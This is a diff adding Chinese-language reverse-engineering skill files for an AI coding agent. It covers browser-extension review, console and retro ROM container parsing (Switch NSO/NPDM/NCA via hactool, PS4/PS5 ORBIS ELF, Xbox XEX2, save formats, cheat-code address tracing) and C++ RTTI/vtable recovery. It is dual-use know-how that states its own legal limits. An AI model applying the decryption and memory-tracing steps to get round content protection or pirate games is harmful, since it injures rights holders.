- **流量修改 API 换血**:MV2 `webRequest` blocking 可拦截修改;MV3 商店扩展一般只剩 `declarativeNetRequest`(声明式规则),webRequest 阻断仅企业策略部署的例外——MV3 里找不到 webRequest 拦截代码是正常的
|
||||
- **executeScript 挪窝**:动态注入 MV2 是 `tabs.executeScript`,MV3 是 `scripting.executeScript`(需 `scripting` 权限)——按版本搜对应 API 名
|
||||
- **action 统一**:MV2 的 `browser_action`/`page_action` 在 MV3 统一为 `action`——页面弹窗代码位置按版本不同
|
||||
|
||||
## 跨浏览器差异组(Chromium vs Firefox)
|
||||
|
||||
- **Firefox MV3 不支持 `background.service_worker`**:声明了也不执行(warning 后忽略),实际用 `background.scripts` 事件页——同一扩展在 Firefox 里后台可能根本不跑,动态验证要按浏览器分别做
|
||||
- **更新渠道不同**:Chrome 系支持 `update_url` 自托管更新清单(投毒入口);Firefox 更新只经 AMO 渠道,`update_url` 不生效——"自托管更新投毒"仅 Chromium 系成立
|
||||
- **签名要求不同**:Firefox AMO 要求扩展签名(临时加载例外);Chromium 系开发者模式可加载未打包目录——动态分析入口不同
|
||||
- **扩展 ID 派生**:Chrome 扩展 ID 由 manifest `key` 字段公钥/打包签名派生;Firefox ID 在 manifest 的 `browser_specific_settings.gecko.id` 显式声明——找 ID 的位置不同
|
||||
|
||||
## 解包与格式组
|
||||
|
||||
- **crx 解包警告别当错误**:`unzip`/`7z` 对 crx 报 `extra bytes at beginning or within zipfile` 是正常(Cr24 头在前),结果可用;想无警告用 `python3 -m zipfile -e`
|
||||
- **crx2/crx3 头差异**:crx2 头含公钥与签名(可变长),crx3 是 protobuf 头 + proof——头长度字段是 LE 4 字节,先读版本号再读头长度,别按固定偏移跳
|
||||
- **xpi 与 zip 无头**:Firefox xpi 就是 zip,解包无警告——"解包报错"本身可作格式判定线索
|
||||
|
||||
## 审查绕过与反例组
|
||||
|
||||
- **无远程代码也有投毒面**:扩展更新机制(自托管/商店)本身就是远程代码通道——单版本静态干净 ≠ 安全,必须看更新链(反例:首版干净、更新后恶意是常见形态)
|
||||
- **混淆不是恶意证据**:商店政策允许合理打包混淆,但高混淆 + 高危权限 + 少功能组合才是可疑信号——别单凭混淆下结论
|
||||
- **`<all_urls>` 权限不是必然恶意**:部分合法功能(翻译/词典/脚本管理器)确实需要全站点权限——按"权限 vs 声明功能"对照判断,越权信号要结合行为
|
||||
- **content script 的隔离上下文**:content script 与页面共享 DOM 但不共享 JS 环境——页面里找不到扩展注入的变量,扩展里也读不到页面全局;跨上下文证据链要按消息传递(runtime.sendMessage)还原
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 动态加载与行为触发在沙箱内([[re-sandbox]],[[re-analyze/platform-tips]] 最高原则);扩展以浏览器进程权限运行,未隔离环境不加载
|
||||
- 分析结论按 [[decision-tree]] 证据分级标注,并注明浏览器族与版本范围
|
||||
159
vendor-new/rev-skills/.claude/skills/re-console/SKILL.md
Normal file
159
vendor-new/rev-skills/.claude/skills/re-console/SKILL.md
Normal file
@@ -0,0 +1,159 @@
|
||||
---
|
||||
name: re-console
|
||||
description: >
|
||||
现代主机与复古平台逆向:Switch NSO/NPDM 容器与加密分区、PS4/PS5 ORBIS 结构、SDK 库指纹;复古 ROM 头/卡带格式/存档与 Cheat 码。
|
||||
触发词:主机逆向、Switch、NSO、NPDM、PS4、PS5、ORBIS、Xbox、复古、ROM、NES、GBA、模拟器、Cheat。
|
||||
capabilities: [console-analysis]
|
||||
---
|
||||
|
||||
# 现代主机与复古平台逆向(Switch NSO/NPDM、PS4/PS5 ORBIS、复古 ROM/存档)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:Switch 程序容器解析——NSO0(代码段结构)、NPDM(程序元数据/权限面)、ExeFS/NCA 分区边界识别;持合法 keyset 时解密 NCA/NAX0 分区并提取代码段
|
||||
- 用:PS4/PS5 ORBIS 主程序(eboot.bin)——加密边界识别、合法解密样本的 ELF 结构解析(PT_SCE_* 程序头)、SDK 版本与导入库指纹
|
||||
- 用:Xbox 系容器(XBE/XEX2)解析与入口定位
|
||||
- 用:复古平台 ROM——NES(iNES/NES 2.0)、GB/GBC、GBA、PSX 的 ROM 头解析、卡带格式、存档文件、Cheat 码分析
|
||||
- 用:SDK 库指纹(Switch NX SDK、ORBIS SDK、Xbox XDK、devkit 工具链)辅助版本识别与函数匹配
|
||||
- 不用:PC 端游戏(Unity/Unreal、Cheat Engine 内存修改)走 [[re-game]]
|
||||
- 不用:移动端游戏([[re-mobile]])
|
||||
- 不用:容器解析出代码段后的通用反编译/调试底座(交 [[re-binary-core]],Ghidra/IDA 照常使用)
|
||||
- 不用:改机/自制固件刷写、主机破解、零售媒体解密与内容保护规避、盗版/未授权 ROM 的获取与分发——本技能只提供文件格式与分析方法,样本须来自合法渠道(自有设备备份、开发机/官方 SDK 内容、已获授权资料);卡带 dump 仅限自有卡带的分析用途,各司法辖区对个人备份的规定不同,由使用者自行确认
|
||||
- 不用:单纯使用成品存档修改器/Cheat 工具(本技能是分析路径,不提供成品工具)
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。静态分析可免沙箱;涉及动态执行(模拟器运行 ROM、运行解密样本)默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则)。
|
||||
|
||||
### 反编译器(Ghidra / IDA 任选其一)
|
||||
|
||||
- Ghidra(免费,官方 release 包,需 JDK;部分发行版仓库有 `apt install ghidra` / `pacman -S ghidra`):
|
||||
- Linux: 官方 release 包;macOS: `brew install --cask ghidra`;Windows: 官方 zip
|
||||
- 验证: `analyzeHeadless -help`(headless 模式)或 GUI 导入目标文件
|
||||
- 架构覆盖:Switch 为 aarch64、PS4/PS5 为 x86-64、PSX 为 MIPS R3000(方法论见 [[re-mips]])、GBA 为 ARM7TDMI(Thumb 处理见 [[re-arm]])、NES 为 6502 系;GB/GBC 用 Sharp SM83:与 8080/Z80 编码相近但不是 Z80 兼容变体(无 IX/IY、无 DD/FD/ED 前缀、无 IN/OUT,有自家 STOP/LDH 与 HL 自增减);Ghidra 核心无 SM83,装 GhidraBoy 等 SM83 SLEIGH + Game Boy loader;Z80 模块仅可作人工对照,不得作为 ROM 的处理器语言(见坑 6)
|
||||
- IDA:商业版架构模块齐全;Freeware 版架构支持范围以官方页面为准
|
||||
- 导入 ROM 时按平台设基址:GBA 0x08000000(卡带映射区)、PSX 按 EXE 头 0x18 字段(典型 0x80010000,RAM 基址 0x80000000);NES/GB 是固定地址空间 + bank 切换,需要 loader 支持 mapper/bank(见坑 6)
|
||||
|
||||
### hactool —— Switch 容器解析(NSO0/NPDM/NCA)
|
||||
|
||||
- 来源与安装: GitHub `SciresM/hactool` releases——1.4.0(2018 年发布的末版,支持 NSO0/NPDM 解析与解压,NPDM 可导出 JSON)提供 Windows 包(`hactool-1.4.0-win.zip`);Linux/macOS 从源码构建(`config.mk.template` 拷为 `config.mk` 后 `make`,依赖 zlib/openssl)
|
||||
- 验证: `hactool --help` 显示完整选项
|
||||
- 注:旧教程/文章常见的 hactoolnet(LibHac 项目附带 CLI)仓库已下线——2026-08 核实 GitHub 404(`Thealexbarney/LibHac` 已不存在),引用到 hactoolnet 的资料先验证链接可用性,功能缺口用 hactool + 自写解析脚本(pyelftools)补齐
|
||||
- 密钥: `-k keys.txt` 指定 keyset(每行 `key_name = HEX`);默认读 `$HOME/.switch/prod.keys`(`-d` 时读 dev.keys)。解密 NCA/NAX0 需要对应 keyset,无密钥只能做结构层分析
|
||||
|
||||
### readelf / pyelftools —— ORBIS 与通用 ELF 解析
|
||||
|
||||
- Linux: binutils 自带(`apt install binutils` 等);macOS: `brew install binutils` 或 LLVM 系 readelf;Windows: WSL 内
|
||||
- pyelftools: `pip install pyelftools`(脚本遍历程序头/节表)
|
||||
- 验证: `readelf --version`、`python3 -c "import elftools; print('ok')"`
|
||||
- PS4/PS5 的 ORBIS ELF 是带 SCE 扩展程序头的合法 ELF64——readelf 可直接解析(`-l` 看 PT_SCE_* 段、`-S` 看节表);不绑定专用 ORBIS 查看工具(场景社区工具维护不一,先验证再使用)
|
||||
|
||||
### 模拟器调试器(复古平台动态分析)
|
||||
|
||||
- mGBA(GB/GBC/GBA,内置调试器 + GDB stub):
|
||||
- Debian/Ubuntu: `apt install mgba-qt`(Qt 前端,universe)或 `mgba-sdl`;Fedora: 官方仓库只有 libretro 核心 `dnf install libretro-mgba`(无调试器),带调试器的 mGBA 用 Flatpak 或第三方 COPR(如 `dnf copr enable archjun/mgba` 后 `dnf install mgba`,第三方源自行评估);Arch: `pacman -S mgba`;macOS: `brew install mgba`;Windows: 官方站 mgba.io 安装包
|
||||
- 验证: `mgba --version`
|
||||
- 调试: GUI 加载 .gba/.elf 后 Tools → Start GDB Server(或命令行 `-g`/`--gdb`),默认监听 localhost:2345;GDB 侧 `target remote localhost:2345`,配合带符号 .elf 设断点(mGBA 的符号来自 .elf 而非 .gba);命令行 `-d` 调试器是 SDL/GTK 版功能,Qt 版用 GDB stub
|
||||
- FCEUX(NES,内置调试器/hex 编辑/RAM 搜索):
|
||||
- Debian/Ubuntu: `apt install fceux`;Fedora/Arch: `dnf install fceux` / `pacman -S fceux`;Windows: 官方站 fceux.com
|
||||
- 验证: `fceux --version`
|
||||
- no$psx(PSX 调试器,Windows 免费版): 官方页 problemkaputt.de/psx.htm 下载(无发行版包,仅 Windows),自带反汇编/断点/内存与 VRAM 查看器;Linux/macOS 无对应版本,PSX 动态调试用 QEMU 系([[re-fw-emulate]] 的 qemu-system 思路 + gdb)或纯静态
|
||||
- 其他平台按需: SNES 调试器可用 Mesen(Windows 官方下载)等,以官方渠道为准
|
||||
|
||||
### 卡带读取器(选购指引,泛化)
|
||||
|
||||
- 思路: 按平台选对应接口——NES 72 针、SNES 62 针、GB/GBC 32 针、GBA 32 针;多平台通吃通常是主机板 + 转接板组合
|
||||
- 选购要点: 开源固件优先(固件可审计、可自己编译);确认支持目标机种与卡带变体(特殊 mapper、加速芯片、CGB 双电压);支持双次 dump 校验(同一卡带读两遍比对,与已知 hash 库交叉验证);供电与电平匹配(GB 系 3V、NES 5V,插错可能损坏卡带);只读 dump 是分析基线,写入/烧录能力按授权边界决定用途
|
||||
- 验证: 读出的 dump 与同平台模拟器可运行性/已知 hash 交叉验证
|
||||
|
||||
### binwalk —— 内嵌文件扫描
|
||||
|
||||
- 安装渠道与版本分辨(v3 主线 / v2 legacy)见 [[re-fw-extract]] 的 binwalk/unblob 安装矩阵;验证: `binwalk --version`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步结果存档(hash、偏移表、解析产物 sha256,[[re-triage]] 存证);动态执行默认沙箱。
|
||||
|
||||
1. **容器识别**(先定格式,再定工具链):
|
||||
```sh
|
||||
file target.bin
|
||||
xxd -l 64 target.bin
|
||||
binwalk target.bin # 内嵌/拼接文件扫描
|
||||
```
|
||||
- Switch: `NSO0`(NSO 程序)、`META`(NPDM 文件头)、`NCA3`(NCA 容器)、`NAX0`(SD 加密分区)、`PFS0`(NSP 明文包容器);ExeFS 里 `main`(NSO)与 `main.npdm` 并存
|
||||
- PS4/PS5: 明文 ELF 以 `\x7fELF` 开头(ORBIS ELF 带 PT_SCE_* 程序头);零售 dump 的 eboot.bin 是加密容器(无 ELF 魔数、熵高),加密边界在此——本技能只分析已合法获得的解密/未加密样本
|
||||
- Xbox: `XBEH`(初代 Xbox XBE)、`XEX2`(Xbox 360,24 字节大端头,0x8 指向内嵌 PE 数据、可选头表);Xbox One/Series 为微软系变体容器(XVD/ERA 体系),解析前先按样本实测探测
|
||||
- 复古: NES `4E 45 53 1A`("NES\x1A");GBA 无魔数(0x0 是 ARM 分支指令,0x4 起 156 字节 Nintendo logo);GB 无魔数(0x104 起 48 字节 logo 判据 + 0x147 卡带类型);PSX 光盘是 ISO9660(`CD001` 卷描述符),主程序 SYSTEM.CNF 指向的 EXE 以 `PS-X EXE` 开头;原始 .bin 镜像扇区 2352 字节(非 2048),定位卷描述符时按 2352 换算扇区偏移
|
||||
- 存档: GBA `.sav` 无统一魔数(按容量/内容结构识别);PSX 记忆卡 dump 的 `MC` 签名在 0x0 与 0x1F80
|
||||
- 判定不明时先走 [[re-triage]] 常规初勘
|
||||
|
||||
2. **容器解析**(分区/加密边界区分):
|
||||
- Switch NSO(hactool 自动识别 NSO0):
|
||||
```
|
||||
hactool -i main.nso # 段信息/压缩标志/ModuleId
|
||||
hactool --uncompressed=main_u.nso main.nso # 压缩段解压(flags 压缩位置位时)
|
||||
```
|
||||
NSO0 头要点:0x0 魔数 `NSO0`;0x10/0x20/0x30 三段头(各 0xC 字节:FileOffset/MemoryOffset/Size,依次对应 .text/.rodata/.data);0x3C BSS 大小;0x40 起 0x20 字节 ModuleId(= ELF 的 build-id 摘要);0x60/0x64/0x68 三段压缩后大小;0x100 起为段数据(压缩段用 LZ4;22.0.0+ 固件 flags bit7 置位时为 ZBIC/zstd 变体,nxdumptool NsoFlags_UseZbicCompression=BIT(7))
|
||||
- Switch NPDM:
|
||||
```
|
||||
hactool -t npdm --json=main.json main.npdm # 导出权限 JSON
|
||||
```
|
||||
NPDM 要点:0x0 `META` 头(0x80 字节);0xE 主线程优先级、0xF 主线程核号、0x1C 主线程栈大小(0x1000 对齐);0x70/0x74 ACI0 偏移/大小、0x78/0x7C ACID 偏移/大小;ACID 区 0x200 处 `ACID` 魔数(前为 RSA-2048 签名与公钥)、ACI0 区 0x0 处 `ACI0` 魔数;ACI0 内含 ProgramId、文件系统/服务访问控制、内核能力(kernel capability)——权限面分析看这里
|
||||
- Switch NCA(加密边界):NCA 头含分区表(section table),正文按分区加密(AES-XTS);持合法 keyset 时 `hactool -t nca -k keys.txt --exefsdir=exefs/ --romfsdir=romfs/ file.nca` 提取 ExeFS(内含 NSO/NPDM)与 RomFS;NAX0 另需 `--sdseed` 与 `--sdpath` 参数。无 keyset 只做结构层解析,不做解密绕过
|
||||
- ORBIS ELF:`readelf -l eboot` 看程序头——PT_SCE_DYNLIBDATA(0x61000000)、PT_SCE_PROCESS_PARAM(0x61000001)、PT_SCE_MODULE_PARAM(0x61000002)、PT_SCE_RELRO(0x61000010);`readelf -S` 看节表(.comment/.sceNote 等);导出表在 PT_SCE_DYNLIBDATA 内
|
||||
- XEX2:遍历可选头数组(每项 type+data 两项,数据大小由 type 低 8 位 ID&0xFF 决定)——执行信息可选头含入口点、导入库可选头含库名与序号;代码段位置由 0x8 的 PE 数据偏移推算;XEX 头部字段大端、内嵌 PE 部分按 PE 规则解析([[re-format-pe]])
|
||||
- 每步产物存档:解析出的段文件 + 魔数/偏移/大小记录
|
||||
|
||||
3. **代码段提取进通用反编译**:
|
||||
- NSO:按段头 MemoryOffset 在 Ghidra 中把 .text/.rodata/.data 建为内存块(先统一基址再自动分析),BSS 补 0 区域;导入选 aarch64
|
||||
- ORBIS:解密 ELF 直接导入 Ghidra(x86-64),ET_EXEC 按头内固定基址、ET_DYN 按加载约定;先用 `nm`/`readelf -s` 找未剥离符号,入口点常在模块参数段/入口节附近
|
||||
- PSX:提取 EXE 的 text 段(文件偏移 0x800 起、长度取头 0x1C 字段),按头 0x18 字段的加载地址导入,MIPS R3000 小端(延迟槽与 $gp 方法论见 [[re-mips]])
|
||||
- GBA:整 ROM 按 0x08000000 导入,ARM7TDMI 混编 Thumb(见 [[re-arm]]);GB/NES:无反编译器原生 CPU 时用近似指令集 + 手动 bank 展开(见坑 6),或专用 loader 插件
|
||||
- 存档:先 `strings` 找产品码/校验和特征(PSX 槽头 0x0A 处 `BXXXX-12345` 类产品码串)
|
||||
|
||||
4. **SDK 库指纹**(版本识别 → 函数匹配加速):
|
||||
- Switch:NSO 头 0x40 的 ModuleId 对照 switchbrew 的 SDK 版本表/社区数据库可得 SDK 版本(映射表随固件演进,先核实时效);二进制内 `NintendoSDK` 版本串以样本实测为准
|
||||
- ORBIS:PT_SCE_MODULE_PARAM 段内含 sdk_version 字段(uint32,如 0x08030001 对应 8.03 级)与模块参数魔数 0x3C13F4BF;`.comment`/`.sceNote` 节常含 SDK 版本串——sdk_version 是编译 SDK 版本,不等于运行固件版本
|
||||
- Xbox:XEX2 导入库可选头列出系统 DLL 名与序号(对应 XDK 版本范围);XBE 的库版本数组同理
|
||||
- 复古:工具链指纹——GBA 商业 ROM 多为 ARM7TDMI + 厂商编译器(库函数形态/特征串),homebrew 常见 devkit 系特征串;PSX 商业盘常见厂商 SDK 库函数形态;对照已知库签名表加速函数识别
|
||||
- 产出:SDK/工具链版本 + 库函数特征表,供步骤 5 与后续反编译命名
|
||||
|
||||
5. **补丁差异**(联动 [[re-variant]]):
|
||||
- 多版本对比:同游戏不同区域/更新档的 ROM 或主程序 diff——定位功能变化点、版本门控逻辑(地区判断、SDK 版本分支)
|
||||
- 方法:解压/解包对齐后 `diff` 或按 [[re-variant]] 的函数匹配流程;版本差异集中在 SDK 升级区与新增功能时,先按 SDK 指纹分层再逐层 diff
|
||||
- 产出:差异点清单 + 变化函数对应分析
|
||||
|
||||
6. **复古:存档与 Cheat 码分析**(内存地址 + 值模式):
|
||||
- 存档结构解析:
|
||||
- PSX 记忆卡:128KB(0x20000)= 16 块 × 8KB,块 0 为头/目录块;`MC` 签名在 0x0 与 0x1F80;每块 64 帧 × 128 字节;槽头 128 字节——0x00 槽类型(0xA0 空/0x51 首块/0x52 中间/0x53 末块)、0x04 存档大小、0x08 下一块指针(多块存档是链表)、0x0A 产品码名、0x7F XOR 校验和;图标 16×16 4bpp 最多 3 帧(数据第 2 字节 0x11/0x12/0x13 表示帧数)
|
||||
- GB/GBA:`.sav` 大小由卡带类型决定——GB 看 0x149 字段(0x02=8KB、0x03=32KB 常见);GBA 常见 SRAM 32KB、Flash 64/128KB、EEPROM 512B 级;无统一魔数,用容量 + 内容特征(校验和、ASCII 文本)识别
|
||||
- 分析目的:还原存档校验算法、字段语义(数值/道具/进度位图)
|
||||
- Cheat 码分析(方法论,非成品工具):
|
||||
- 原理:Cheat 码 = 「内存地址 + 值/写模式」编码,如 GBA CodeBreaker 型 `AAAAAAAA 0000`(8 位地址 + 4 位值)——GB/GBC 用 GameShark 8 位格式,勿混称;NES 系 6 字符编码(地址/值 + 密钥变换);先按编码规则解码出地址与值
|
||||
- 还原路径:模拟器调试器(mGBA/FCEUX)内存视图/搜索定位游戏内数值(金币、生命)→ 记录地址(GBA: EWRAM 0x02000000 起、IWRAM 0x03000000 起;GB: WRAM 0xC000-0xDFFF)→ 调试器断点找写该地址的代码 → 反编译器中还原该函数与数据流 → 得出「某地址存某值」的语义与所有引用点
|
||||
- 产出:地址语义表(地址 → 含义/类型/范围),供校验、反编译标注或行为研究;只做分析,不提供成品 Cheat 工具
|
||||
- 沙箱:模拟器内动态验证默认沙箱 + 网络隔离
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]]:代码段提取后的通用初勘/反编译/调试底座([[re-ghidra]]、[[re-ida]]、[[re-gdb]] 照常使用)
|
||||
- [[re-game]]:PC 端 Unity/Unreal 游戏逆向姊妹技能;「内存地址 + 值模式」的游戏逻辑分析方法互通
|
||||
- [[re-cracking]]:授权/激活校验分析;主机场景的合规边界与本技能一致
|
||||
- [[re-variant]]:多版本/多区域 ROM 与主程序 diff
|
||||
- [[re-mips]]:PSX 的 MIPS R3000 指令集与方法论(延迟槽、$gp)
|
||||
- [[re-arm]]:GBA ARM7TDMI 的 Thumb/ARM 处理
|
||||
- [[re-fw-extract]] / [[re-fw-rootfs]]:卡带/光盘镜像内嵌文件与文件系统提取(binwalk 前置)
|
||||
- [[re-patching]]:ROM/程序字节级修改落地(注意头校验和重算,见坑 4)
|
||||
- [[re-sandbox]]:模拟器/动态执行强制隔离([[re-analyze/platform-tips]] 默认沙箱原则)
|
||||
- [[re-triage]]:容器识别前置初勘
|
||||
- [[re-format-pe]]:XEX2 内嵌 PE 部分解析
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **加密容器当明文解**:现象——Switch NCA/NAX0 或 PS4/PS5 零售 eboot.bin 直接丢进反编译器,全是高熵乱码/反汇编出幻觉代码;原因——内容在 NCA 正文(AES-XTS)与 ORBIS 容器层加密,NSO0/ELF 魔数只在解密后可见;对策——先做加密边界识别(魔数缺失 + 熵高 = 密文),持合法 keyset 走容器工具解密提取(hactool 解 NCA/NAX0),无密钥只做结构层;本技能范围到合法获得的样本,不做解密绕过
|
||||
- **SDK 指纹误判**:现象——把编译 SDK 版本当运行固件版本、或按旧对照表把 ModuleId 错配到别的 SDK,导致库函数表对不上;原因——ModuleId↔SDK 映射表随固件演进漂移,ORBIS 的 sdk_version 字段是编译时版本;对策——指纹结论标注「编译 SDK 版本」,对照表先核实时效(以当前维护页面为准),与二进制内实际版本串交叉验证再定论
|
||||
- **元数据头与正文分离**:现象——只解析了 NSO 或只看了 NPDM,权限面/入口信息/代码互不关联,分析缺块;原因——NPDM(权限/入口元数据)是与 NSO 并存的独立文件,NCA 分区表在头部而分区数据按偏移散布,XEX2 的头部字段与 PE 数据分离存放;对策——把同批容器产物(NPDM+NSO、NCA 各分区、XEX 头+PE 段)作为一个整体建档,先列清单再逐个解析
|
||||
- **ROM 头校验和与补丁失效**:现象——改 ROM(patch/汉化/修改)后模拟器或真机拒绝启动;原因——GBA 头 0xBD 是 0xA0-0xBC 逐字节求和的 complement 校验(再减 0x19 取 8 位),改标题/游戏码必须重算;GB 头 0x14D 校验和覆盖 0x134-0x14C;NES 改 mapper 位不影响启动但影响映射正确性;对策——改头后按算法重算校验和,补丁方案把校验和重算写进步骤
|
||||
- **模拟器与真机行为差异**:现象——mGBA 上能跑的修改在真机闪退、FCEUX 与 Mesen 对同一 ROM 的 mapper 行为不同;原因——时序敏感代码(GBA 音频/中断时序)、mapper 实现差异、模拟器精度差异;对策——结论标注「模拟器环境验证」,需要真机级结论时用多种模拟器交叉验证 + 真机(读卡器/烧录卡)复核;存档写回与断电时序在模拟器上尤其不可靠
|
||||
- **反编译器缺原生 CPU 支持时的错位反汇编**:现象——GB 的 SM83 无原生模块,用 Z80 近似反汇编出不存在指令(同一编码在 SM83/Z80 含义分叉,如 0x22/0xE8/0x10);NES 6502 变体细节被当普通指令;原因——SM83 与 8080/Z80 编码相近但不是 Z80 兼容变体,近似指令集不等于目标 CPU;对策——先识别 CPU(GB 看 0x104 logo/0x147 卡带类型、NES 看 flags 的 mapper),GB 用 GhidraBoy 等 SM83 SLEIGH + Game Boy loader,无原生支持时手动标注限制,近似反汇编结果须以模拟器实测校正
|
||||
- **授权边界**:改机/自制固件、零售媒体解密、未授权 ROM 获取与分发不在本技能范围;分析样本须来自合法渠道;卡带 dump 仅限自有卡带分析用途,按所在司法辖区规定自行确认;技能正文只提供格式解析与分析方法
|
||||
107
vendor-new/rev-skills/.claude/skills/re-cpp-abi/SKILL.md
Normal file
107
vendor-new/rev-skills/.claude/skills/re-cpp-abi/SKILL.md
Normal file
@@ -0,0 +1,107 @@
|
||||
---
|
||||
name: re-cpp-abi
|
||||
type: atomic
|
||||
description: >
|
||||
现代 C++ 二进制逆向:RTTI/异常/虚表恢复、ABI 识别、mangling 解码。
|
||||
触发词:C++逆向、RTTI、虚表恢复、异常处理、C++ ABI、mangling、C++反编译。
|
||||
capabilities: [decompilation]
|
||||
---
|
||||
|
||||
# 现代 C++ 逆向(RTTI / 异常 / 虚表)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:RTTI/异常表密集的二进制、反编译结果混乱的 C++ 目标(类层次/虚调用/异常流无法直接读出)
|
||||
- 不用:C 代码或纯汇编(走 [[re-binary-core]] 通用路径);混淆主导的目标(先 [[re-deobfuscate]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
### readelf / llvm-objdump(节表与异常表)
|
||||
|
||||
- Linux: `apt install binutils llvm` / `dnf install binutils llvm` / `pacman -S binutils llvm`
|
||||
- macOS: `brew install llvm`(binutils 部分 macOS 自带)
|
||||
- Windows: WSL 或 llvm 预编译
|
||||
- 验证: `readelf --version`、`llvm-objdump --version`
|
||||
|
||||
### c++filt / undname(mangling 解码)
|
||||
|
||||
- Linux/macOS: `c++filt`(binutils 自带);Windows: `undname`(VS 工具链)
|
||||
- 验证: `echo '_ZN3foo3barEv' | c++filt`(输出 `foo::bar()`)
|
||||
|
||||
### Ghidra / IDA(反编译底座,脚本化 RTTI 遍历)
|
||||
|
||||
- 安装与验证见 [[re-ghidra]] / [[re-ida]] 工具准备
|
||||
|
||||
### gdb(异常断点,可选)
|
||||
|
||||
- 安装与验证见 [[re-gdb]]
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物存档(路径 + sha256,见 [[re-triage]])。
|
||||
|
||||
1. **ABI 识别**:
|
||||
```sh
|
||||
readelf -s sample | grep -E '_ZN|_ZTV|_ZTI' | head # Itanium(GCC/Clang)
|
||||
strings sample | grep -E '^\?\?_' | head # MSVC
|
||||
```
|
||||
- Itanium 特征:`_ZN`(函数)、`_ZTV`(虚表)、`_ZTI`(RTTI 类型信息)
|
||||
- MSVC 特征:`??_7`(vftable)、`??_R`(RTTI)(strip 后 ??_ 在符号表而非字符串区——补查导入表 __CxxFrameHandler / msvcp 特征辅助判断)
|
||||
- 识别错则后续全部偏——先确认再继续
|
||||
|
||||
2. **RTTI 重建(Itanium)**:
|
||||
```sh
|
||||
readelf -s sample | grep _ZTI | head
|
||||
# _ZTI<类名> 指向 typeinfo:起始为 vptr(指向 _ZTVN10__cxxabiv1... 类型信息虚表),
|
||||
# 下一 pointer-sized 槽为 __type_name;64 位通常 +0/+8、32 位 +0/+4
|
||||
# 解析前先定 ELF class / 指针宽度;__si_class_type_info / __vmi_class_type_info 同样按目标 ABI 对齐与字段宽度解析
|
||||
```
|
||||
- 结构:`typeinfo` → `__class_type_info` 派生链 → 每个类的完整继承路径
|
||||
- 脚本化:Ghidra/IDA 遍历 _ZTI 引用,重建类继承图(父子关系表)
|
||||
- 产出:类名 → 继承链映射(写入会话 symbols_known,见 [[re-analyze/analysis-contract]])
|
||||
- MSVC:`??_R0<类名>` TypeDescriptor 符号 + `_RTTICompleteObjectLocator`(COL)遍历重建继承图
|
||||
|
||||
3. **虚表恢复**:
|
||||
```sh
|
||||
readelf -s sample | grep _ZTV | head
|
||||
```
|
||||
- `_ZTV<类名>` 指向 vtable 起点(虚函数指针数组);vtable 前缀两槽位(32 位 8 字节 / 64 位 16 字节):offset to top + typeinfo 指针(Itanium ABI)
|
||||
- 定位 vtable 后:每个槽位的函数地址 → 调用点反推虚方法名(结合步骤 2 的继承图)
|
||||
- 虚调用(`call *reg`)无法静态定名 → 用调用点上下文(参数/返回值使用)缩小候选
|
||||
|
||||
4. **异常处理表**:
|
||||
```sh
|
||||
readelf -S sample | grep -E 'eh_frame|gcc_except' # ELF:.eh_frame(readelf 不解析 PE,PE 走下方命令)
|
||||
llvm-readobj --coff-unwind-info sample.exe # PE:.pdata/.xdata(或 objdump -h / pefile)
|
||||
```
|
||||
- PE:`.pdata` 的 RUNTIME_FUNCTION(Begin/End/UnwindInfo)→ `.xdata` 展开数据 → 异常处理器(__CxxFrameHandler3)
|
||||
- ELF:`.eh_frame` 的 FDE/CIE → 展开规则与 LSDA(.gcc_except_table)→ 异常处理函数
|
||||
- 用途:恢复被异常路径打断的控制流、定位析构/清理逻辑(catch 块)
|
||||
|
||||
5. **模板/lambda 识别**:
|
||||
- 模板:符号含 `<...>` 参数(Itanium mangling 中展开为长串);实例化爆炸时按调用模式聚类
|
||||
- lambda:closure type 是真实的匿名 class type;普通调用场景常不发射独立 RTTI,缺 `_ZTI` 既不能排除也不能反推 lambda(typeid 等 ODR-use 时可有对应 RTTI)。识别优先用 Itanium 的 `_ZZ<作用域>ENK...` / `operator()` mangling、捕获成员布局与调用点,MSVC 的 `<lambda_...>`
|
||||
- 输出:疑似模板实例化/lambda 的函数清单 + 调用点
|
||||
|
||||
6. **mangling 解码(批量)**:
|
||||
```sh
|
||||
readelf -s sample | grep -E '_ZN|_ZTV|_ZTI' | awk '{print $8}' | c++filt | head -20
|
||||
```
|
||||
- MSVC: `undname` 或在线等价工具
|
||||
- 解码结果写入符号表(供 [[re-ghidra]] / [[re-ida]] 重命名)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]] 网关:本技能归属(re-binary-core 选择树已挂载)
|
||||
- [[re-ghidra]] / [[re-ida]]:反编译底座与脚本化
|
||||
- [[re-deobfuscate]]:混淆与 ABI 分析衔接
|
||||
- [[re-analyze/analysis-contract]]:类继承图/符号表按数据契约传递
|
||||
- [[re-analyze/rerouting]]:RTTI/异常表特征触发本技能(A 表已挂)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **ABI 误判导致全部解析失败**:现象——用 Itanium 结构解析 MSVC 目标(或反之)全盘错位;原因——识别步骤跳过;对策——先做步骤 1,mangling 特征双查
|
||||
- **模板展开导致符号爆炸**:现象——readelf 输出几万行 `_Z...`;原因——模板实例化;对策——按调用模式聚类、过滤标准库符号(libstdc++/STL 前缀)
|
||||
- **lambda 缺 RTTI 被当成无类型**:现象——类继承图缺节点,误以为 lambda 不是真实类型;原因——closure type 是真实的匿名 class type,只是普通调用场景常不发射独立 typeinfo,缺 `_ZTI` 既不能排除也不能反推;对策——按 `_ZZ<作用域>ENK...` / `operator()` mangling、捕获成员布局与调用点识别,不硬找 RTTI(typeid 等 ODR-use 时可另有 RTTI)
|
||||
- **异常表版本差异**:现象——.xdata 解析错位;原因——MSVC 异常处理版本(__CxxFrameHandler3 等)不同;对策——按导入函数(__CxxFrameHandler)确认版本再解析
|
||||
- **虚调用无法静态定名**:现象——`call *reg` 全是间接调用;原因——虚分派;对策——结合 vtable 槽位与调用点证据缩小候选,不猜
|
||||
69
